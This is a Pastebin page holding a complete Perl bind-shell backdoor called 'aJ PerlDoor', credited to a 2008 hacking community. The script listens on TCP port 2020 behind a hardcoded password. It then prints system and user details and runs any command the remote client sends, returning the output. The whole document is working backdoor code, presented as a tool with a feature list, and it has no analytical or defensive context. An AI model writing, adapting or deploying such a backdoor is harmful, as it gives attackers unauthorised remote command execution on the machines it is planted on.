Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use strict;
- ########################################
- # _____ ___
- # / /::\ ___ /__/| ___
- # / /:/\:\ / /\ | |:| / /\
- # / /:/ \:\ / /:/ | |:| / /:/
- # /__/:/ \__\:| /__/::\ __| |:| /__/::\
- # \ \:\ / /:/ \__\/\:\__ /__/\_|:|____ \__\/\:\__
- # \ \:\ /:/ \ \:\/\ \ \:\/:::::/ \ \:\/\
- # \ \:\/:/ \__\::/ \ \::/~~~~ \__\::/
- # \ \::/ /__/:/ \ \:\ /__/:/
- # \__\/ \__\/ \ \:\ \__\/
- # \__\/
- ########################################
- print('
- ########################################
- ## aJ PerlDoor ##
- ## By ayam_jago ##
- ## Β© Sep-Okt 2008, FeeLCoMz Community ##
- ########################################
- ');
- #################################
- ## Features: ##
- ## + Multiclient ##
- ## + Password protected (v0.2) ##
- ## + STDERR handling (v0.3) ##
- #################################
- use IO::Socket;
- use IO::Select;
- my $ver = "v0.3";
- ##[ CONFIGURATIONS ]##
- my $pass = "jembut";
- my $port = 2020;
- ##[ END OF CONFIGURATIONS ]##
- my $listenz = IO::Socket::INET->new(LocalPort => $port, Listen => 5, Reuse => 1 ) or die("Can't create socket for listening: $!");
- print "Listening on port $port\n";
- my $clientz = IO::Select->new;
- $clientz->add($listenz);
- my $askpass = 1;
- while (1) {
- my ($readz) = IO::Select->select($clientz, undef, undef, undef);
- foreach my $s (@$readz) {
- if ($s == $listenz) {
- my $ns = $listenz->accept;
- $clientz->add($ns) if $ns;
- print $ns "Enter password: ";
- }
- else {
- my $buf = <$s>;
- $buf =~ s/\r|\n//g;
- if (defined $buf) {
- if ($askpass == 1) {
- if ($buf eq $pass) {
- $askpass = 2;
- print $s "\rPassword OK!\r\n";
- print $s "Welcome to aJ PerlDoor ".$ver."! Type !die to exit!\r\n";
- print $s "System: ".`uname -a`."\r";
- print $s "Uid: ".`id`."\r";
- ##[ PROMPT ]##
- my $dir = `pwd`; my $usr = `whoami`;
- $dir =~ s/\n//; $usr =~ s/\n//;
- print $s "\r\n[$dir]\r\n$usr\@Cmd: ";
- }
- else {
- print $s "\rEnter password: ";
- }
- }
- else {
- if ($buf =~ /!die/i) {
- print $s "Bye!\r\n";
- $clientz->remove($s);
- $s->close;
- }
- elsif ($buf =~ /cd\s+(.*)/) {
- my $dir = $1; $dir =~ s/\r//; $dir =~ s/\n//;
- chdir $dir or print $s "Can't cd to $dir !\r";
- }
- else {
- #my @output = `$buf 2>&1`;
- #foreach my $out (@output) { print $s "$out\r"; }
- my $output = open(PH, "$buf 2>&1 |");
- while (<PH>) { print $s "$_\r"; }
- }
- ##[ PROMPT ]##
- my $dir = `pwd`; my $usr = `whoami`;
- $dir =~ s/\n//; $usr =~ s/\n//;
- print $s "\r\n[$dir]\r\n$usr\@Cmd: ";
- }
- }
- else {
- $clientz->remove($s);
- $s->close;
- print STDERR "Client closed!\n";
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement